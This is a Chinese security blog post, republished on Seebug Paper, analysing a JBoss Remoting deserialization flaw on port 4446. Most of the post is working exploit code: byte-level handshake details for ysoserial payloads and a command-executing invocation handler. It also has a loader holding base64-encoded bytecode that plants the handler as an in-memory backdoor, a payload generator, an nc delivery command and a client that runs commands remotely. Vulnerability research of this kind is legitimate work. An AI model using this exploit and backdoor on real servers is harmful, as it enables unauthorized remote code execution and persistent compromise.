作者:Y4er
原文鏈接:https://y4er.com/post/jboss-4446-rce-and-rpc-echo-response/

看到推上發了jboss的0day rce,分析一下。

前言

1.png

這個洞是在國外Alligator Conference 2019會議上的一個議題,ppt在這里 https://s3.amazonaws.com/files.joaomatosf.com/slides/alligator_slides.pdf

議題中講到了jboss的4446端口反序列化rce,和一條jndi注入的gadget。

反序列化rce

jboss默認會開幾個端口

端口 狀態 目的
1098 啟用 RMI 命名服務
3528 已禁用 IANA 分配的 IIOP 端口
4444 啟用 RMI JRMP 調用程序
4445 啟用 RMI 池調用程序
4446 啟用 遠程服務器連接器
4447 啟用 遠程服務器連接器
4457 啟用 遠程服務器連接器
4712 啟用 JBossTS 恢復管理器
4713 啟用 JBossTS 事務狀態管理器
4714 啟用 JBossTS 的進程 ID
8080 啟用 HTTP 連接器
8083 啟用 RMI 類加載迷你 Web 服務器
8443 啟用 JBossWS HTTPS 連接器套接字

其中4445端口有一個歷史RCE cve-2016-3690,是PooledInvokerServlet反序列化。

2.png

這次問題出在4446,這是個Remoting3端口,官網介紹看這里,看了看remoting3的文檔沒寫,可以先看2的文檔。

這是一個架構圖

3.png

直接向4446發送一些數據

4.png

明顯的aced0005,但是沒有其他的東西了,可能是對數據的解析進行了特殊處理,我們使用api來遠程調用一下。

創建一個maven項目,導入jboss remoting2的包,或者從 https://jbossremoting.jboss.org/downloads.html 直接下載jar包也行。

maven配置參考520師傅的

<dependency>
    <groupId>org.jboss.remoting</groupId>
    <artifactId>jboss-remoting</artifactId>
    <version>2.5.4.SP5</version>
</dependency>
<dependency>
    <groupId>org.jboss.logging</groupId>
    <artifactId>jboss-logging</artifactId>
    <version>3.3.0.Final</version>
</dependency>
<dependency>
    <groupId>org.jboss</groupId>
    <artifactId>jboss-common-core</artifactId>
    <version>2.5.0.Final</version>
    <exclusions>
        <exclusion>
            <groupId>org.jboss.logging</groupId>
            <artifactId>jboss-logging-spi</artifactId>
        </exclusion>
    </exclusions>
</dependency>
<dependency>
    <groupId>concurrent</groupId>
    <artifactId>concurrent</artifactId>
    <version>1.3.4</version>
</dependency>

5.png

客戶端先發一個0xaced0005,服務端回復一個0xaced0005,然后客戶端發0x77011679…等。其中0x77011679分別表示

final static byte TC_BLOCKDATA =    (byte)0x77;
final static byte SC_WRITE_METHOD = 0x01;
0x16 Protocol version 22
final static byte TC_RESET =        (byte)0x79;

6.png

后面的東西就是payload了,所以我們只需要替換yso生成的payload的前四個字節。

7.png

4446和3873端?均可利?。

調試跟一下

org.jboss.remoting.transport.socket.ServerThread#processInvocation中處理了0x16,讀出來協議版本為22

8.png

org.jboss.remoting.transport.socket.ServerThread#versionedRead中會調用this.unmarshaller.read()

9.png

在read中調用java類型的原生反序列化org.jboss.remoting.serialization.impl.java.JavaSerializationManager#receiveObject

10.png

除了java以外還有別的

11.png

最后就進入了readObject

12.png

完整的堆棧

exec:348, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
toString:131, TiedMapEntry (org.apache.commons.collections.keyvalue)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1185, ObjectStreamClass (java.io)
readSerialData:2319, ObjectInputStream (java.io)
readOrdinaryObject:2210, ObjectInputStream (java.io)
readObject0:1690, ObjectInputStream (java.io)
readObject:508, ObjectInputStream (java.io)
readObject:466, ObjectInputStream (java.io)
receiveObjectVersion2_2:238, JavaSerializationManager (org.jboss.remoting.serialization.impl.java)
receiveObject:138, JavaSerializationManager (org.jboss.remoting.serialization.impl.java)
read:123, SerializableUnMarshaller (org.jboss.remoting.marshal.serializable)
versionedRead:900, ServerThread (org.jboss.remoting.transport.socket)
completeInvocation:754, ServerThread (org.jboss.remoting.transport.socket)
processInvocation:744, ServerThread (org.jboss.remoting.transport.socket)
dorun:548, ServerThread (org.jboss.remoting.transport.socket)
run:234, ServerThread (org.jboss.remoting.transport.socket)

rpc調用

研究了一下jboss的remoting,可以寫一個類繼承自ServerInvocationHandler接口,通過classloader定義到jvm中,然后client查詢即可。

關于jboss remoting開發的可以直接看官方的sample,從這里下載

注冊ServerInvocationHandler可以調用org.jboss.remoting.ServerInvoker#addInvocationHandler函數,我們需要在線程中找到ServerInvoker的值反射獲取以此來動態添加handler。

調試來看在當前線程中就有handler所在的hashmap,所以我們只需要把我們的EvilHandler put進去就行了。

13.png

其中ASD就是我的handler

這里直接貼代碼,首先需要一個JbossInvocationHandler來執行命令。

package ysoserial.payloads.templates;

import org.jboss.remoting.InvocationRequest;
import org.jboss.remoting.ServerInvocationHandler;
import org.jboss.remoting.ServerInvoker;
import org.jboss.remoting.callback.InvokerCallbackHandler;

import javax.management.MBeanServer;

public class JbossInvocationHandler implements ServerInvocationHandler, Runnable {

    @Override
    public void run() {
    }

    @Override
    public void setMBeanServer(MBeanServer mBeanServer) {
    }

    @Override
    public void setInvoker(ServerInvoker serverInvoker) {
    }

    @Override
    public Object invoke(InvocationRequest invocationRequest) throws Throwable {
        String cmd = (String) invocationRequest.getParameter();
        System.out.println("接收到命令:" + cmd);
        String[] cmds = new String[]{"cmd", "/c", cmd};
        if (!System.getProperty("os.name").toLowerCase().contains("win")) {
            cmds = new String[]{"bash", "-c", cmd};
        }
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmds).getInputStream(), "gbk").useDelimiter("\\A");
        return s.hasNext() ? s.next() : "no result";
    }

    @Override
    public void addListener(InvokerCallbackHandler invokerCallbackHandler) {
    }

    @Override
    public void removeListener(InvokerCallbackHandler invokerCallbackHandler) {
    }
}

然后base64編碼用classloader加載

package ysoserial.payloads.templates;

import org.jboss.remoting.ServerInvocationHandler;
import org.jboss.remoting.transport.socket.ServerThread;
import org.jboss.remoting.transport.socket.SocketServerInvoker;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;

public class Loader {
    static {
        try {
            byte[] bytes = base64Decode("yv66vgAAADIAkAoAIABKCgBLAEwHAE0JAE4ATwcAUAoABQBKCABRCgAFAFIKAAUAUwoAVABVCAA3CABWCABXCgBOAFgKAAMAWQgAWgoAAwBbCABcCABdBwBeCgBfAGAKAF8AYQoAYgBjCABkCgAUAGUIAGYKABQAZwoAFABoCgAUAGkIAGoHAGsHAGwHAG0HAG4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEANUx5c29zZXJpYWwvcGF5bG9hZHMvdGVtcGxhdGVzL0pib3NzSW52b2NhdGlvbkhhbmRsZXI7AQADcnVuAQAOc2V0TUJlYW5TZXJ2ZXIBACEoTGphdmF4L21hbmFnZW1lbnQvTUJlYW5TZXJ2ZXI7KVYBAAttQmVhblNlcnZlcgEAHkxqYXZheC9tYW5hZ2VtZW50L01CZWFuU2VydmVyOwEACnNldEludm9rZXIBACUoTG9yZy9qYm9zcy9yZW1vdGluZy9TZXJ2ZXJJbnZva2VyOylWAQANc2VydmVySW52b2tlcgEAIkxvcmcvamJvc3MvcmVtb3RpbmcvU2VydmVySW52b2tlcjsBAAZpbnZva2UBADooTG9yZy9qYm9zcy9yZW1vdGluZy9JbnZvY2F0aW9uUmVxdWVzdDspTGphdmEvbGFuZy9PYmplY3Q7AQARaW52b2NhdGlvblJlcXVlc3QBACZMb3JnL2pib3NzL3JlbW90aW5nL0ludm9jYXRpb25SZXF1ZXN0OwEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABcwEAE0xqYXZhL3V0aWwvU2Nhbm5lcjsBAA1TdGFja01hcFRhYmxlBwBNBwA6BwBeAQAKRXhjZXB0aW9ucwcAbwEAC2FkZExpc3RlbmVyAQA3KExvcmcvamJvc3MvcmVtb3RpbmcvY2FsbGJhY2svSW52b2tlckNhbGxiYWNrSGFuZGxlcjspVgEAFmludm9rZXJDYWxsYmFja0hhbmRsZXIBADRMb3JnL2pib3NzL3JlbW90aW5nL2NhbGxiYWNrL0ludm9rZXJDYWxsYmFja0hhbmRsZXI7AQAOcmVtb3ZlTGlzdGVuZXIBAApTb3VyY2VGaWxlAQAbSmJvc3NJbnZvY2F0aW9uSGFuZGxlci5qYXZhDAAjACQHAHAMAHEAcgEAEGphdmEvbGFuZy9TdHJpbmcHAHMMAHQAdQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAS5o6l5pS25Yiw5ZG95Luk77yaDAB2AHcMAHgAeQcAegwAewB8AQACL2MBAAdvcy5uYW1lDAB9AH4MAH8AeQEAA3dpbgwAgACBAQAEYmFzaAEAAi1jAQARamF2YS91dGlsL1NjYW5uZXIHAIIMAIMAhAwAhQCGBwCHDACIAIkBAANnYmsMACMAigEAAlxBDACLAIwMAI0AjgwAjwB5AQAJbm8gcmVzdWx0AQAzeXNvc2VyaWFsL3BheWxvYWRzL3RlbXBsYXRlcy9KYm9zc0ludm9jYXRpb25IYW5kbGVyAQAQamF2YS9sYW5nL09iamVjdAEAKm9yZy9qYm9zcy9yZW1vdGluZy9TZXJ2ZXJJbnZvY2F0aW9uSGFuZGxlcgEAEmphdmEvbGFuZy9SdW5uYWJsZQEAE2phdmEvbGFuZy9UaHJvd2FibGUBACRvcmcvamJvc3MvcmVtb3RpbmcvSW52b2NhdGlvblJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQALdG9Mb3dlckNhc2UBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAqKExqYXZhL2lvL0lucHV0U3RyZWFtO0xqYXZhL2xhbmcvU3RyaW5nOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQAIQAfACAAAgAhACIAAAAHAAEAIwAkAAEAJQAAAC8AAQABAAAABSq3AAGxAAAAAgAmAAAABgABAAAACgAnAAAADAABAAAABQAoACkAAAABACoAJAABACUAAAArAAAAAQAAAAGxAAAAAgAmAAAABgABAAAADgAnAAAADAABAAAAAQAoACkAAAABACsALAABACUAAAA1AAAAAgAAAAGxAAAAAgAmAAAABgABAAAAEgAnAAAAFgACAAAAAQAoACkAAAAAAAEALQAuAAEAAQAvADAAAQAlAAAANQAAAAIAAAABsQAAAAIAJgAAAAYAAQAAABYAJwAAABYAAgAAAAEAKAApAAAAAAABADEAMgABAAEAMwA0AAIAJQAAAQkABAAFAAAAhCu2AALAAANNsgAEuwAFWbcABhIHtgAILLYACLYACbYACga9AANZAxILU1kEEgxTWQUsU04SDbgADrYADxIQtgARmgAWBr0AA1kDEhJTWQQSE1NZBSxTTrsAFFm4ABUttgAWtgAXEhi3ABkSGrYAGzoEGQS2AByZAAsZBLYAHacABRIesAAAAAMAJgAAAB4ABwAAABoACAAbACEAHAA0AB0ARAAeAFcAIABxACEAJwAAADQABQAAAIQAKAApAAAAAACEADUANgABAAgAfAA3ADgAAgA0AFAAOQA6AAMAcQATADsAPAAEAD0AAAAVAAP9AFcHAD4HAD/8ACkHAEBBBwA+AEEAAAAEAAEAQgABAEMARAABACUAAAA1AAAAAgAAAAGxAAAAAgAmAAAABgABAAAAJgAnAAAAFgACAAAAAQAoACkAAAAAAAEARQBGAAEAAQBHAEQAAQAlAAAANQAAAAIAAAABsQAAAAIAJgAAAAYAAQAAACoAJwAAABYAAgAAAAEAKAApAAAAAAABAEUARgABAAEASAAAAAIASQ==");
            ClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
            Method defineClass = classLoader.getClass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
            Class invoke = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length);
            Object instance = invoke.newInstance();

            ServerThread serverThread = (ServerThread) Thread.currentThread();
            Field invoker = serverThread.getClass().getDeclaredField("invoker");
            invoker.setAccessible(true);
            SocketServerInvoker invokeObj = (SocketServerInvoker) invoker.get(serverThread);
            invokeObj.addInvocationHandler("Y4er", (ServerInvocationHandler) instance);
        } catch (Throwable e) {
            e.printStackTrace();
        }
    }

    public static byte[] base64Decode(String bs) throws Exception {
        Class base64;
        byte[] value = null;
        try {
            base64 = Class.forName("java.util.Base64");
            Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
            value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
        } catch (Exception e) {
            try {
                base64 = Class.forName("sun.misc.BASE64Decoder");
                Object decoder = base64.newInstance();
                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
            } catch (Exception e2) {
            }
        }
        return value;
    }
}

最后用CB183生成payload。

package ysoserial;

import com.google.common.io.Files;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang.ArrayUtils;
import ysoserial.payloads.CommonsBeanutils183NOCC;
import ysoserial.payloads.templates.JbossInvocationHandler;

import java.io.File;
import java.util.Arrays;

public class JbossRemoting {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.get(JbossInvocationHandler.class.getName());
        String s = Base64.encodeBase64String(ctClass.toBytecode());
        System.out.println(s);

        Object calc = new CommonsBeanutils183NOCC().getObject("CLASS:Loader");
        byte[] serialize = Serializer.serialize(calc);

        byte[] aced = Arrays.copyOfRange(serialize, 0, 4);
        byte[] range = Arrays.copyOfRange(serialize, 4, serialize.length);
        byte[] bs = new byte[]{0x77, 0x01, 0x16, 0x79};
        System.out.println(aced.length + range.length == serialize.length);
        byte[] bytes = ArrayUtils.addAll(aced, bs);
        bytes = ArrayUtils.addAll(bytes, range);
        Files.write(bytes, new File("E:\\tools\\code\\ysoserial\\target\\payload.ser"));
    }
}

然后nc發送

cat payload.ser |nc 127.0.0.1 4446|hexdump -C

然后新建一個client去執行命令

package org.jboss.remoting.samples.myclient;

import org.jboss.remoting.Client;
import org.jboss.remoting.InvokerLocator;

public class MyClient {
    public static void main(String[] args) throws Throwable {
        InvokerLocator locator = new InvokerLocator("socket://127.0.0.1:4446/");
        Client client = new Client(locator);
        client.setSubsystem("Y4er");
        client.connect();
        Object as = client.invoke("dir");
        System.out.println(as);
        client.disconnect();
    }
}

14.png

jboss日志中

15.png

jndi注入

org.jboss.ejb3.mdb.ProducerManagerImpl#readExternal 很直觀

16.png

不詳細展開了

思考

jboss的rpc有多種傳輸方式,其內置了幾種反序列化方式,其他協議是否會有問題?

jboss的remoting挺有意思,看了官方sample,可以rmi、socket、http等多種方式調用,除了handler是否有其他的回顯方式?


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1891/